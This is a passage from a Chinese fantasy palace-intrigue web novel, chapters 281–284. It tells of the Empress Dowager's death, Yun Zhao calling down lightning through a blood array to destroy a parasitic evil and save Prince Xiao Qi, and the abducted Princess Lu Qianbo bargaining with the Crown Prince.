那团盘踞的“血魂饲”仿佛感受到了致命的威胁,在太后体内左冲右突。
突然,太后发出一声不似人声的凄厉惨叫,身体猛地弓起,又重重落下。
与此同时,一团拳头大小暗红发黑的光团,被云昭强行从太后心口“扯”了出来!
光团离体的瞬间,太后如同被抽走了所有支撑,整个人以肉眼可见的速度迅速委顿。
光滑的皮肤瞬间布满深壑般的皱纹,乌黑的头发眨眼变得灰白干枯,丰腴的身体缩水成了皮包骨头……
仅仅几息之间,她就从一个“少妇”模样,变成了一具比实际年龄还要苍老数十岁的干尸模样。
她双目圆睁,瞳孔涣散,已然气绝。
曾经苦求长生的尊贵太后,以这样一种恐怖而讽刺的方式,走到了生命的尽头。
而那团被剥离的“血魂饲”,在云昭手中符箓与有悔大师佛光的双重**下,仍在疯狂扭动。
一股浓烈的血腥怨气弥漫开来。
云昭迅速取出一个贴满了符箓的玉盒,将其封入其中。
封口处更是以金线缠绕,打着一个特殊的法结。
外间,在听到太后那声惨叫时,皇帝就已闭上了眼睛。
他没有进去看最后一眼,只是疲惫地挥了挥手:
“常玉,按照规矩,料理后事。”
他又对萧启道:“此事,朕等着你和云昭,给朕一个真相。”
说完,他转身,步履略显蹒跚地离开了慈宁宫。
云昭与有悔大师留在内室。
有悔大师看着太后的尸身,长叹一声,又诵念起往生经文。
云昭却只是冷冷地看着。
在她眼中,太后咽气瞬间,魂魄离体。
那魂魄黯淡虚弱,却被无数道扭曲的灰色影子纠缠、撕咬着——
那些都是她苦求长生不老的路上,被她间接害死,吞吃的无辜之人。
这些“债主”不会让她轻易进入轮回。
太后的魂魄在那些影子的撕扯下发出无声的哀嚎。
挣扎着,却无法脱离。
“大师,”云昭忽然开口,“您说,她还能入轮回吗?”
有悔大师停下经文,看了一眼虚空——
他显然也看到了些许端倪,面上悲悯之色更重:
“魂魄沾染如此深重业力,即便步入轮回,每一世也必是多灾多难,病痛缠身,亲缘淡薄。
直至将这一世所造之孽、所欠之债,一点点偿还干净。”
云昭点了点头,不再说话。
太后确实还有投胎的机会。
但每一次做人,都会很惨。
那些丹药里的魂魄碎片,那些被掠夺的血肉精元,那些被拘役炼化的残魂怨念……
会像最恶毒的诅咒,生生世世缠绕着她,向她讨债。
享了多少不该享的“长生”,就要付出多少倍的痛苦来偿还。
直至,这一世的孽债,彻底还清。
而这,正是她应得的结局。
第281章 见此令,如见我!
窗外,天色忽变。
几乎转眼间,乌云从四面八方疯狂汇聚,眨眼间遮蔽了整个天空。
晴明白日瞬间堕入昏黑夜色。
狂风平地而起,庭中花树摧折。
风呼啸着卷过宫廷殿宇的飞檐翘角,发出凄厉如鬼哭的呜咽声。
“轰隆隆——!”
一连串沉闷到令人心头发颤的滚雷,自厚重的云层深处碾过,仿佛有巨兽在云端翻身,震得窗棂簌簌作响。
几乎就在雷声滚过的同一时刻,外间骤然传来一声惊呼:
“殿下——!”
云昭心头猛地一跳。那是一种毫无来由的心悸。
她甚至来不及思考,身体已先于意识做出反应,脚步一错,瞬间绕过屏风冲向外间!
外间的光线比内室更暗。
宫灯在不知何时涌入的穿堂风中剧烈摇曳,光影乱舞。
只见萧启单手撑在方才皇帝坐过的圈椅扶手上,另一只手死死抵住心口。
他侧对着云昭,脸色呈现出一种骇人的苍白。
他紧抿着唇,似乎在用尽全力对抗着什么。
但一缕刺目的猩红,仍旧不受控制地自他紧抿的唇角溢了出来。
不知怎的,看到他这副模样,云昭心头骤然涌起一股极其陌生的滋味儿。
仿佛心口被无形的细线狠狠勒紧,说不出的酸涩难捱。
那感觉来得突兀而汹涌,让她连向前疾走的动作,都不由自主地迟滞了一瞬。
云昭猛地凝神,双眸深处,一点幽邃的玄光悄然流转——
玄瞳视界,启!
只见萧启体内一直维持着某种平衡的“七玄钉”,此刻竟发生了骇人的异变!
残存的四根七玄钉,原本如同深入骨髓的毒刺,牢牢禁锢着他的血脉。
此刻,它们却在剧烈地震颤,仿佛被一股无形的力量狠狠撼动,想要破体而出!
七玄钉恶毒无比,如此毫无准备地被外力强行引动拔除,其结果绝非解脱,反而会对宿主造成难以想象的伤害!
难怪他脸色如此骇人,难怪会吐血!
再这样下去,萧启会没命的!
有悔大师此时也已抢步上前。
他虽无玄瞳,但佛法修为高深,对气息感应极为敏锐。
一靠近萧启,他便感受到一股死气自萧启体内弥漫开来。
有悔大师面色骤变,低呼一声:“阿弥陀佛!怎会如此?”
萧启身中七玄钉之事,除了云昭,便只有闻空大师知晓。
然而闻空大师是信守承诺之人,哪怕是有悔大师,他也从未提及。
故而亲眼见到萧启体内七玄钉突然**的惨状,有悔大师面色几变,却一时不解这到底是怎么一回事。
殿内伺候的宫人何曾见过秦王殿下如此情状?
几个胆小的已吓得腿软,有机灵的反应过来,转身就要往外跑:“快!快传御医!”
“站住!”云昭厉喝了声。
萧启体内的七玄钉是绝密,绝不能让旁人知晓。
尤其,皇帝刚走,太后新丧,若是传出秦王殿下在慈宁宫突发恶疾、性命垂危的消息,不知会引来多少猜忌和风雨。
云昭目光锐利,瞬间锁定了常海。
常海此刻也是面无人色,但到底是常玉亲自调教出来、在御前历练过,尚能勉强维持镇定,只是眼中惊惶难掩。
“常海。”云昭声调放缓,神色却极尽沉静,
“殿下这是早年征战落下的旧疾,今日劳累过度,引动了病势,并无大碍。
切勿惊扰圣驾,亦不必兴师动众惊动太医院。”
她神色淡淡的,一副处变不惊的模样:
“去,命人速煎一碗上好的老参汤来,要足年份的野山参,浓煎。
我略通针灸之术,先为殿下稳住病情。”
常海是何等伶俐人物?
能在**不吐骨头的宫廷,成为常玉公公的干儿子,心思之玲珑剔透,远超常人。
干爹平日里对他耳提面命,不止一次念叨过:
想在宫中活得久、站得稳,光有忠心不够,更要懂得“审时度势”。
何为“审时度势”?
那就是擦亮眼睛,且看清楚——
谁的“时运”正盛,谁的“势”不可挡,
然后,坚定不移地靠上去!
在常海心里,云昭,就是那个时运与实力都令他敬畏的人!
此刻听云昭如此吩咐,他瞬间领会了个中深意。
“是!谨遵云司主吩咐。”
常海立刻躬身应道,声音恢复了平日的恭谨镇定。
他旋即转身,对着一众惊慌失措的宫人太监,声音陡然转厉:
“都慌什么?!没听见云司主的话吗?殿下是旧疾犯了!云司主医术高明,自有主张!
全都给咱家退出去!没有吩咐,谁也不许进来,更不许在外头胡乱嚼舌根子!
谁敢多嘴多舌,惊扰了殿下静养,仔细你们的皮!”
宫人们被他气势所慑,鱼贯退出外间,并小心地带上了门。
常海又对云昭恭敬道:
“云司主,奴才这就亲自去御药房的小灶上,盯着他们选用最好的百年老参,亲自看着火候煎好送来。”
说罢,他也躬身退了出去,并将外间通往廊下的门也轻轻掩上。
转眼间,暖阁外间便只剩下云昭、有悔大师,以及几名萧启心腹暗卫。
他们显然是得了萧启之前不得妄动的命令,虽心急如焚,却依旧恪守职责。
只是个个眼神焦灼,一心希望秦王的病势真能稳定下来。
云昭快步走回到萧启身边,正要伸手搭脉,为萧启仔细检查。
然而,她的手刚伸到一半,却被一只滚烫如烙铁的大手猛地攥住!
萧启不知何时抬起了头,那双总是深邃沉静的眼眸,此刻蒙上了一层晦暗的阴霾,眼底深处却有灼人的光在跳动。
他手上的力道大得惊人,几乎要捏碎云昭的腕骨,带着不容抗拒的意味,猛地将她向自己怀中一拽!
窗外瑟瑟凉风涌入,纱幔飞卷如云。
云昭猝不及防,被他拽得一个踉跄,堪堪被他另一只手臂揽住腰身,稳住身形。
却已近乎半靠在他灼热坚实的胸膛上。
浓烈的男性气息混合着血腥味扑面而来,他急促而滚烫的呼吸喷在她的耳畔。
“我是不是……治不好了?”
萧启的声音低哑得可怕,每个字都像是从砂纸上磨过。
云昭蹙紧的眉头未曾舒展,声音却不由放轻了些许,带着安抚:
“别胡说。你先松手,让我仔细
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看看。”
她试图挣开他的钳制,却发现他此刻的力气大得异乎寻常。
萧启没有松手,反而将怀中的她箍得更紧了些。
他垂下头,下颌几乎抵住她的发顶,声音压得更低,语速却急切起来:
“听着,云昭……京城这潭水,太深。接下来的事,你不必再管了。”
他喘了口气,强忍着体内又一波撕裂般的剧痛,继续道:“趁现在局势未明,你立刻离开京城。
你想去哪里都好,江南、塞北、海外……
去做你想做的逍遥散人,去看你从未看过的山河广阔。”
说着,他自怀中取出一枚玉佩,塞进云昭被他攥住的那只手中。
那玉佩形制古朴,非龙非凤,正面刻着一个古朴的“影”字,背面是繁复的云纹。
玉质极佳,却在中心隐有一丝血沁般的纹路,显得神秘而威严。
“这是‘血影令’。”萧启凝视着她的眼睛,一字一句:
“见此令,如见我。
我麾下所有影卫,无论明暗,皆听你调遣,誓死护你周全。
拿着它,现在就走……远离皇宫,别再回来。”
自云昭入京以来,他看得分明。
姜家已倒,苏家倾颓。
玉衡、太后陆续已死……
除了一个不成气候的姜绾心,还有那个一心吃上异国公主软饭的姜珩……
她的仇,应当已报的差不多了。
一旦他死,太子必定反扑,长公主和卫临皆是刚直少谋之人,各有掣肘,很难护她周全。
以她的能力和心性,该有更广阔的天空,更自由的人生。
他当然不甘心!不甘心就这样放她走!
但体内不停传来的剧痛告诉他,他已经到了**之末。
如若今日就是他的死期,那么在生命尽头,他唯一能做的,就是为她铺好后路,保她一世平安顺遂。
云昭握着那枚玉佩,心头涌起一种说不清道不明的滋味。
两世为人,这还是她第一次体味到除了恨意以外的,如此令她难以自抑的强烈情绪。
此时的云昭尚且不知,这种陌生的情愫,名为心疼。
她正要开口,声音却再次被窗外轰然炸响的惊雷打断!
“咔嚓——!!!”
这一次,不再是沉闷的滚雷,而是一道刺目欲盲的闪电,如同银龙裂空,瞬间将昏暗的天地照得一片惨白。
紧随其后的炸雷声仿佛就在慈宁宫殿顶劈开,震得人耳膜嗡嗡作响,梁柱上的灰尘簌簌落下。
而与此同时,云昭袖中的玉盒,也在同一时间传来细微的震颤。
云昭取出玉盒,只见其表面的符箓光华急闪,一股阴寒气息透过玉盒,丝丝缕缕地渗出!
电光石火间,云昭猛地抬头!
她看向窗外黑沉如墨的天空,眼中骤然爆发出一抹希望的光芒。
“萧启,”她反手用力握住他滚烫的手,声音斩钉截铁,
“你放心,你死不了!”
萧启还要再说。
云昭却已按在他染血的唇上。
她一字一句,清晰无比地说道:
“我说你死不了,你就死不了。”
“你命中注定,要当天下之主。而我,会护你度过此劫,保你一世平安。”
第282章 火中取栗,刀尖跳舞
说完,她将那块血影令塞回萧启手中,转身快步走向站在窗边,神色凝重望着窗外天象的有悔大师。
“大师。”云昭唤道。
同时举起了手中那个震动不休的玉盒。
有悔大师闻声回头,看到云昭手中的玉盒异状,已然明白了七八分。
“大师,”云昭目光灼灼,指向窗外雷霆,“您看,这天雷,是否是冲着这‘不该存世’的邪物而来?”
有悔大师略一沉吟,缓缓点头:“天雷至阳至刚,涤荡妖邪,乃是天道法则。
确会锁定那些违背天和、孽力深重、彻底成型为‘祸胎’之物,
譬如孽蛟走水、邪婴降世、大凶法器出世等,施以雷霆之罚,将其毁灭。”
他看向玉盒,面露忧色:“但是,‘血魂饲’虽邪异,毕竟已被我等提前取出,封印在此。
它虽引动雷劫感应,却尚未成型。
此刻若以它应劫,天雷无眼,一个不慎,邪物未必能彻底毁去,引雷之人恐将首当其冲,魂飞魄散!
更何况,秦王殿下体内……
似乎亦与此物共鸣,牵一发而动全身啊!”
有悔大师的担忧合情合理。
利用天雷,无疑是火中取栗,刀尖跳舞。
但云昭脸上却不见丝毫畏惧,反而扬起一抹浅笑,眼眸亮得惊人:
“大师所言极是,常理确是如此。
但,事在人为,亦在天时。
今日这雷劫,是因它(玉盒)与他(萧启)而生,避无可避。
那便不如,主动迎之,化劫为力!”
她将玉盒握紧,对着有悔大师郑重一礼:
“大师,稍后还请务必守在殿下身边,以佛光护住他心脉灵台。无论如何,撑到我回来。”
她又看向屋内八名几乎要按捺不住的暗卫,沉声道:
“你们也是,守好殿下,无论外面发生什么,没我的命令,绝不许踏出此门半步!”
“云施主,你……”有悔大师还想劝阻。
云昭却已直起身,转身面向那电闪雷鸣的窗外,青丝与衣袂随风拂动。
“我今日,便借这煌煌天雷,与那藏头露尾的幕后之人——”
她声音清越,穿透滚滚雷声,带着一股一往无前的决绝与傲然:
“隔空斗上一斗!”
话音未落,她已手握震颤的玉盒,决然推开了通往殿外廊下的门。
“司主——!”墨七和墨十七失声惊呼!
二人跟在云昭身边日久,早已将她视作真正的主子,下意识就想跟上。
却被萧启一声低哑却不容置疑地喝止阻住:“站住……都听她的!”
萧启靠在椅中,望着她毫不犹豫踏入风雨雷电的背影,手中紧紧攥着那枚血影令。
他脸色苍白,唇角血迹未干,眼底却燃起一团不肯熄灭的火焰。
他信她。
纵然前方是万丈雷霆,他也信她能劈开一条生路!
*
门外,已是另一个世界。
**毫无遮挡地席卷而来,豆大的雨点被狂风裹挟,如同密集的鞭子抽打在脸上、身上。
天空低垂得仿佛触手可及,浓墨般的乌云疯狂翻涌。
一道道狰狞的闪电撕裂天幕,将慈宁宫前空旷的庭院映照得忽明忽暗,如同鬼域。
震耳欲聋的炸雷一个接着一个,仿佛就在头顶炸开,震得人气血翻腾,耳中嗡鸣不止。
云昭单薄的身影立于这天地之威中。
她是如此渺小,却又如此挺拔,仿佛一杆宁折不弯的青竹。
她手中的玉盒震动得越发剧烈,表面的符箓光芒明灭不定。
盒内,“血魂饲”的尖啸仿佛能直接传入脑海,充满了疯狂、怨毒与不甘!
更令人心惊的是,随着云昭带着玉盒踏入庭院。
高空之上翻滚的雷云,竟似隐隐有所感应。
低垂的云层中电光游走汇聚的方向,隐约偏向了她所在的方位!
一种浩瀚的天地威压,如同实质般笼罩下来。
即便是云昭,也觉呼吸艰难,心头沉甸甸的仿佛压着一块巨石。
“司主!”两声焦急的呼喊自身后传来。
是墨七和墨十七!
她们终究无法完全遵从命令待在殿内。
将萧启交由有悔大师暂时照看后,还是冒着被责罚的风险跟了出来。
然而,刚踏出殿门,眼前的景象就令二人肝胆俱颤!
云昭对身后的呼唤恍若未闻。
她深吸一口冰冷潮湿的空气,眸光沉静如古井,无视了劈打在身上的暴雨,一步一步,坚定地走向庭院中央最为开阔、毫无遮蔽之地。
站定。
她松开了握着玉盒的手,却未让玉盒落地,而是以灵力虚托于身前尺许。
同时,她毫不犹豫地抬起右手,并指如刀,指尖灵光微闪,在左手掌心用力一划!
一道殷红的血口立现,滚烫的鲜血瞬间涌出。
云昭眉头都未皱一下。
她以流血的手掌为“笔”,以自身饱含灵气与特殊命格的鲜血为“墨”,以脚下被雨水浸湿的青石板地面为“纸”!
女子的身影翩若惊鸿,动如游龙。
在**与忽明忽暗的闪电映照下,开始急速地移动、刻画!
每一步踏出,都精准地落在特定的方位,带着奇异的韵律。
每一下挥臂,淋漓的鲜血便随着她的指尖划出一道道轨迹,落在潮湿的地面上。
神奇的是,云昭的每一道“落笔”,竟没有被雨水冲散,反而微微泛起一层淡金色的微光,在青石砖地上渐渐凝实!
脑海中,重生后意外觉醒的《万咒典》飞速流转。
浩如烟海的古老咒文、阵法图录、天地至理呼啸而过。
“九霄引雷,玄枢转煞;
以血为契,以魂为桥;
逆夺造化,反溯其源——!”
云昭心中默念阵诀,手上动作更快。
鲜血混合着雨水,在她周身方圆三丈之内,迅速勾勒出一个复杂到令人眼花缭乱的圆形法阵!
阵纹由内向外,共分九层,层层嵌套,每一层符文皆不相同!
最核心处,则是一个不断旋转的、仿佛能吞噬一切的漩涡纹样!
随着最后一笔血纹落下,整个法阵骤然一亮!
所有血纹同时迸发出耀眼的金红色光芒,冲天而起,形成一个倒扣碗状的光罩,将云昭与那悬浮的玉盒一同笼罩其中!
几乎就在阵法成型、光罩升起的刹那!
一道紫色雷霆,仿佛一条暴怒的灭世雷龙,朝着庭院中央的光罩,悍然劈
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落!
墨七和墨十七目眦欲裂,却发现被一股无形之力定在原地,动弹不得!
二人只能眼睁睁看着那道可怕的紫雷,将云昭单薄的身影彻底吞噬!
光罩内,云昭浑身剧震!
仿佛每一根骨头、每一条经脉都在被雷电疯狂撕裂、灼烧!
体内气血翻江倒海,喉头腥甜不断上涌。
唯有那双眼睛,依旧亮得惊人!
在她玄瞳视界与阵法加持下,隐约可以“看到”、遥远不知处的方向,有一道模糊的人形黑影!
那黑影,便是“府君”!
此刻他似乎也正在施展法阵,试图隔空操控“血魂饲”!
毕竟,这劳什子邪物,旁人视为异端邪祟,却是他苦心孤诣,蕴养二十年!
不想,一朝竟然被云昭与有悔大师提前取出!
这让他如何能甘心?!
云昭正是料定他舍不下此物,才一定要隔空与他斗上一斗!
她实在太好奇了,也太痛恨了!
这府君到底是何人?
为何他手下,会豢养薛九针,林静薇,玉衡等邪师?
他为何要利用太后的欲望与野心,戕害妙音公主?
为何要在萧启体内布下七玄钉,让一个本该是盛世明君的天命之人,短折而死?
为何要指使玉衡,唆摆太子,让姜珩去青州寻人,让整个清微谷满门覆灭?
她到底与他有何仇怨?清微谷满门与他是何干系?
是她碍了他的事,还是谁挡了他的路?
都不要紧!
只要他肯出手,她就有信心借这天**霆与他一斗!让他付出代价!
两股无形的力量,以雷霆为战场,以邪物为媒介,展开了隔空交锋!
云昭操控阵法,竭力引导更多的雷霆之力轰击玉盒,要借天雷之威彻底炼化“血魂饲”!
斩断其与萧启、与“府君”的一切关联!
同时,阵法中的“逆劫”、“反溯”之力发动,反向冲击那遥远的施术者!
而“府君”的力量,也在同一时间不断抵抗着雷霆炼化,更试图顺着云昭的探查之力,侵蚀云昭的心神,干扰阵法!
甚至,想要引动萧启体内七玄钉提前爆发!让萧启亡于今日!
“噗——!”
云昭再也压制不住,一口滚烫的鲜血狂喷而出!
但这口血,并未无力地洒落在地。
云昭眼中厉色一闪,竟以最后的心神操控,让这口蕴含着自身精气和命格之力的鲜血,喷吐在了阵法最核心的漩涡纹样之上!
“嗡——!”
阵法光华骤然暴涨!
金红光芒中,竟隐隐泛起一丝至高无上的、尊贵无比的淡紫色!
那并非雷电的紫色,而是一种更玄奥、更威严的色泽!
云昭天生凤命,命格尊贵无匹,她的鲜血,对于此等阵法,有着难以想象的加持!
这一口血,宛如画龙点睛!
这才是真正的阵成时刻!
玉盒里的血魂饲,发出绝望的哀鸣!
“呃啊——!!!”
隐约间,云昭仿佛“听”到了一声,充满了震惊与痛苦的闷哼!
玄之又玄的远方,那道模糊的黑影如遭重击,剧烈摇晃!
瞬间,满头乌发化为雪白!
第283章 一根向阳,一根向暗
这一记隔空而来的反噬,蕴含着煌煌天威与云昭凤命鲜血,显然让“府君”付出了惨重代价。
不仅术法被破,恐怕连本源都受了重创!
与此同时,阵眼处的玉盒终于承受不住内外交攻的力量。
表面那些金光流淌的符箓,在一瞬间光华尽灭,化为灰烬飘散。
盒身出现道道裂痕,伴随着“咔嚓”一声轻响,彻底碎裂!
里面那团被炼化得只剩指甲盖大小的暗红残渣,随着最后一缕游离电光扫过,发出“嗤”的一声响。
轻如叹息。
最终,彻底化为一股青烟,消散无踪。
“血魂饲”,被灭了!
庭院中,震耳欲聋的滚雷声终于渐渐远去,隐入云层深处。
雨幕如瀑,宛如想要彻底洗刷天地间的一切污秽。
云昭衣衫多处焦痕,唇边血迹殷然,晃了晃身子,几乎站立不稳。
墨七和墨十七第一时间冲上前,一左一右扶住了她。
“司主!您怎么样?”两人声音都在发颤,充满了后怕与敬佩。
云昭摆了摆手,示意自己无碍。
她的目光却依旧凝重,望向遥远的天际,眉头深锁。
刚才那隔空交锋的最后一瞬,除了亲眼确认对方遭受重创,她还清晰地感知到了一点——
那府君所施展的术法,竟透着一种说不清道不明的熟稔。
并非似曾相识,而是仿佛同出一源。
就像是从同一棵大树上分出的两根枝桠,一根向阳攀援而生,一根却扭曲着探向了地底最阴暗处。
这感觉让她心底发寒。
回到房内,萧启已然沉沉昏睡。
有悔大师盘坐于榻前,手中佛珠缓缓转动,口中低声诵念着宁心静气的经文。
云昭走到榻边,轻声道:“有劳大师。”
有悔大师停下诵经,睁开眼,看向云昭的目光充满了复杂的情绪——
惊叹有之,赞赏有之,忧虑亦有之。
他缓缓摇头:“阿弥陀佛,云施主方才……实在是惊世之举。
秦王殿下体内那股狂暴之力,已随着那邪物湮灭而平息,暂无性命之虞。”
一层淡薄却稳固的金色佛光如同纱幔,轻轻笼罩在萧启周身。
云昭以玄瞳查看萧启体内,那四根七玄钉竟已彻底不见影踪。
但云昭心中却没有太多喜悦。
因为在那四钉原本所在的位置,残留着一小团灰黑色阴影。
阴影宛如烧焦的疤痕,虽不再主动侵蚀,却阻碍着生机的自然流转。
云昭知道,唯有等她真正灭了府君,萧启体内的这些最后痕迹才会真正消散。
他的身体和命格,才能完全摆脱桎梏,恢复如初。
云昭收回目光,低声对有悔大师道:
“殿下的性命暂时无碍,本源亦开始缓慢恢复。但这最后一点‘诅咒之源’,需得斩草除根。”
正在这时,常海的参汤已送到了。
“好好守着殿下。”云昭起身,对影卫吩咐,“我去换身衣裳。”
她对常海道,“烦劳请常玉公公过来一趟。若无他事,稍后我与大师一同送殿下回府。”
*
另一边,安王一家三口,已在偏殿煎熬了将近两个时辰。
迟迟等不来皇帝的召见,却等来了太后骤然驾崩的噩耗。
如同兜头一盆冰水,浇得三人透心凉。
太后的死,无疑让本就微妙的局势变得更加混沌。
皇帝此刻的心情可想而知,他们此时凑上去,无异于自触霉头。
无奈之下,一家三口只得怀着沉重不安的心情,登上马车,准备先行返回安王府,再作打算。
大雨倾盆,天色昏暗,马车在雨中艰难前行。
薛静姝紧紧搂着女儿,面色灰败。
她嘴唇哆嗦着,想说什么,却又怕说错,只能无声地流泪。
陆擎坐在对面,背脊挺直,闭着双眼,放在膝上的手却握成了拳,指节发白。
他知道,太后在这个节骨眼上**,对安王府而言,实在不妙。
皇帝如今没空理会他们,不代表事后不会清算。
马车行至一处相对僻静的街口,因为雨势太大,车夫不得不放慢了速度,小心翼翼地看着前方几乎被雨水淹没的路面。
突然!斜刺里传来一阵急促的马蹄声!
只见一匹显然是受了惊的黑色骏马,驮着一个蓑衣歪斜的骑手,从旁边一条小巷里猛地冲了出来!
马眼赤红,鼻孔喷着白气,全然不顾前方道路,直直地朝着安王府的马车撞来!
“小心呐——!”车夫骇然惊呼。
他拼命想要勒马转向,奈何雨大路滑,车轮打滑,马车失控地偏向一边!
一声沉闷的巨响,夹杂着木料碎裂和马匹惊嘶的声音!
受惊的黑马重重撞在了马车车厢的中部!
巨大的冲击力使得车厢剧烈摇晃,车厢内三人惊呼着滚作一团!
紧接着,是人群的惊呼、脚步声、以及更多的混乱声响——
似乎是附近避雨的行人或商户被这变故惊动,围拢了过来。
车夫和随行的两名护卫焦急地呼喊着,试图稳住受惊的辕马,并查看车厢情况。
车厢内,陆擎第
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一时间护住了妻女,额头撞在车壁上,渗出血来。
薛静姝吓得魂飞魄散,只顾着尖叫。
当陆擎强忍着晕眩,扶起吓瘫的薛静姝,再回头寻找女儿时,身旁只剩下空荡荡的座位和凌乱的锦垫!
哪里还有陆倩波的影子?
“倩波?倩波呢?!”薛静姝也发现了,发出一声凄厉至极的尖叫,猛地扑向车门,却被陆擎死死拉住。
“别出去!”陆擎脸色铁青,目光如电扫过车外混乱的人群。
“女儿不见了!快去找!去找啊!”
薛静姝疯了似的捶打着陆擎,涕泪横流,仪态尽失。
陆擎的心,沉到了谷底。
他强压下心头的惊怒与不祥的预感,厉声对护卫喝道:“即刻去报京兆府!请府尹派人协助搜寻!快!”
然而,大雨如注,人群混乱。
短暂的骚动后,行人便各自散去,或避雨,或忙碌,哪里还能找到丝毫线索?
京兆府的人很快赶到,听了描述,勘察了现场,也是眉头紧锁。
雨太大了,什么痕迹都没留下。
那匹惊马和骑手,经过初步盘问,似乎也只是寻常商户。
马匹因雷雨受惊,骑手技术不精,故此酿成事故,看起来并无可疑。
安王府一行人,都被带回了京兆府衙门问话录状。
公堂之上,薛静姝全然没有了王妃的体统,扑跪在地上,嘶声哭喊:
“赵大人!您要为我们做主啊!我女儿是安王府的郡主!光天化日之下竟被人掳走!这定是有人蓄意报复!”
“一定是长公主!定是她恨我女儿昨日说了些不当的话,派人来害我女儿!您快去长公主府拿人啊!”
“住口!”陆擎猛地喝道。
他上前一步,对一脸震惊的赵悉拱手,“内子爱女心切,口不择言,还请府尹大人见谅。
长公主殿下为人光风霁月,若真要对小女不利,昨日在安王府便有无数机会,何须等到今日,用这等拙劣手段?”
薛静姝哭得上气不接下气:“若是女儿**,我也不想活了……”
陆擎没有说话。
但心中隐隐生出不详的预感。
这等狠辣不计后果的手段,更像是东宫那位的手笔。
堂上,赵悉朝身旁的沈主簿使了个眼色,示意他派人去一趟公主府。
郡主丢了,这事可大可小!
他忍不住悄悄叹了口气,今天这事儿闹得可够大的。
而且这雨下得天都黑了,瞧着这样,他今天恐怕要宿在后衙。
那个什么桃花劫,是不是算是蒙混过关了?
第284章 兄妹之情,性命攸关
陆倩波是被一盆冷水泼醒的。
刺骨的寒意让她猛地抽搐,呛咳着睁开了眼睛。
预想中的黑暗与肮脏并未出现,相反,映入眼帘的是一间颇为宽敞、陈设华丽的屋子。
地上铺着柔软的波斯地毯,紫檀木的多宝阁上摆放着珍玩玉器,角落里青铜仙鹤香炉吐出袅袅青烟,散发着清雅的檀香。
烛火明亮,将一切照得清晰可见。
这显然不是牢狱,也绝非寻常地方。
她挣扎着想坐起,却发现浑身酸软无力,喉咙干渴得冒烟。
“醒了?”
一道冰冷阴柔的声音,从前方高处传来。
陆倩波悚然一惊,循声望去。
只见不远处的紫檀木雕花罗汉床上,端坐着一人。
他身穿杏黄色的常服,腰间束着玉带,眼底带着浓重的阴郁,正是当朝太子萧鉴!
他手中把玩着一柄玉如意,目光却如同毒蛇的信子,冷冷地睇视着她。
“太……太子殿下?”陆倩波的声音干涩嘶哑,带着难以置信的惊惶。
她怎么会在这里?是太子救了她?
不,不对!
“南华郡主,陆倩波。”太子缓缓开口,“你好大的胆子。”
陆倩波的心猛地一沉。
昨夜那些不受控制倾泻而出的话语,瞬间如噩梦般重回脑海!
她几乎是连滚爬,踉跄着跪伏下去,以额触地,颤声辩解:
“殿下明鉴!倩波是冤枉的!我是被人害的!
是云昭那个狐媚子!她不知用了什么妖法邪术,招来了卫宝珠的鬼魂!
那鬼魂就附在我身上,控制了我的嘴巴!
那些大逆不道的话,都是卫宝珠的鬼魂逼我说的!不是我!真的不是我啊殿下!”
她语无伦次,急切地想将自己摘干净,将所有的罪过,都推到云昭身上。
太子听到“卫宝珠”三个字,脸色更加僵硬了几分,手中的玉如意也停止了转动。
他死死盯着陆倩波,想从她脸上找出说谎的痕迹。
却被“鬼魂”二字戳中,眼中飞快地掠过一丝惊悸,随即被更深的暴戾取代。
他嗤笑一声:“鬼魂让你说的?陆倩波,你以为孤是三岁孩童,会信这等无稽之谈?”
他站起身,一步步踱到陆倩波面前,居高临下地俯视着她:
“不论是不是鬼魂,那些话,是从你南华郡主的嘴里说出来的!
现在,整个京城都在传,说三年前嘉乐郡主是死在孤的手上!
说孤为了铲除异己,连姑母的心头肉都敢下手!”
“你告诉孤!如果你是孤,听到这样的流言,会怎么做?”
最后几个字,带着浓烈的杀意,让陆倩波如坠冰窟。
她毫不怀疑,太子随时都有可能下令,将她拖出去乱棍打死,或者用更残忍的方式让她永远闭嘴!
她绝对不能就这么**!
她还没找云昭报仇,没让萧启后悔,她还没享受够这世间的富贵荣华!
她猛地抬起头,脸上泪痕交错:
“殿下!您不能杀我!您若杀了我,才是坐实了那些流言!”
太子眯起眼,审视着她。
陆倩波语速飞快:“请殿下细想,这姜云昭一回京城,就处处与我作对,与安王府作对!
昨日,更是设计害我当众出丑,说出那些话!她不就是为了抹黑殿下您吗?”
她越说越觉得有理,声音也带上了一丝蛊惑:
“她如今攀附上了秦王,谁不知道秦王与殿下有隙?
她这分明就是替秦王铺路,想要借我的手,毁了殿下的清誉,动摇殿下的储君之位啊!”
看到太子眼中闪过一丝犹疑,她咬了咬牙,再没有一丝犹豫:
“殿下!如果您愿信倩波一次,此刻就去向陛下请旨,求娶倩波为太子妃!”
“什么?!”
太子彻底愣住了。
陆倩波挺直了脊背:“只要陛下赐婚,让殿下与我成为夫妻,那些流言便会不攻自破!
试问,如果卫宝珠当真死于殿下之手,我陆倩波身为安王府郡主,又怎会心甘情愿嫁给‘凶手’呢”
她紧紧盯着太子的脸:“届时,倩波会亲自出面,澄清昨日是受了妖人云昭的邪术陷害,所言皆是胡言乱语。”
太子脸上的阴沉杀意渐渐褪去,取而代之的是一种复杂的审视。
他重新坐回罗汉床上,如同评估货物般,上下打量着陆倩波。
平心而论,陆倩波的容貌,实在算不上绝色。
她继承了父亲陆擎的些许英气轮廓,身材却格外纤瘦,五官只能勉强称得上清秀。
此刻她头发散乱,妆容全花,衣衫皱巴巴还沾着污渍,更是减分。
然而,她的出身,实在太诱人了。
陆擎手握边关重兵,是皇帝倚重的大将军,此次回京述职后不日便将重返边疆,实权在握。
河东薛氏,百年望族,累世公卿,财力人脉深厚。
若娶了陆倩波,等于同时握住了军权和一部分顶级士族的支持。
这对于近来倍感压力的太子来说,无异于雪中送炭。
太子目光微闪。
而且……眼前的陆倩波,仿佛变聪明了不少。
难道,她就是府君说过的那个机缘?
一个主动送上门来、能助他稳固地位的安王府郡主!
想到此处,太子心中那点因为流言而产生的暴怒和杀意,奇异地转化成了一丝隐秘的兴奋。
是啊,他是天命所归的储君,怎会轻易被流言击倒?
看,就连从前对秦王倾心不已的南华郡主,如今都“弃暗投明”,选择了他!
这不正是他即将否极泰来的征兆吗?
太子脸上冰雪消融,缓缓绽开一个堪称“温和”的笑容。
“郡主……”他拖长了语调,朝陆倩波伸出手,做出一个搀扶的姿态,
“果然是聪明人。看来今日之事,是孤心急误解了郡主。起来说话吧。”
陆倩波心中猛地一松。
劫后余生的虚脱与一股扭曲的得意同时涌上。
她赌对了!
太子,果然心动了!
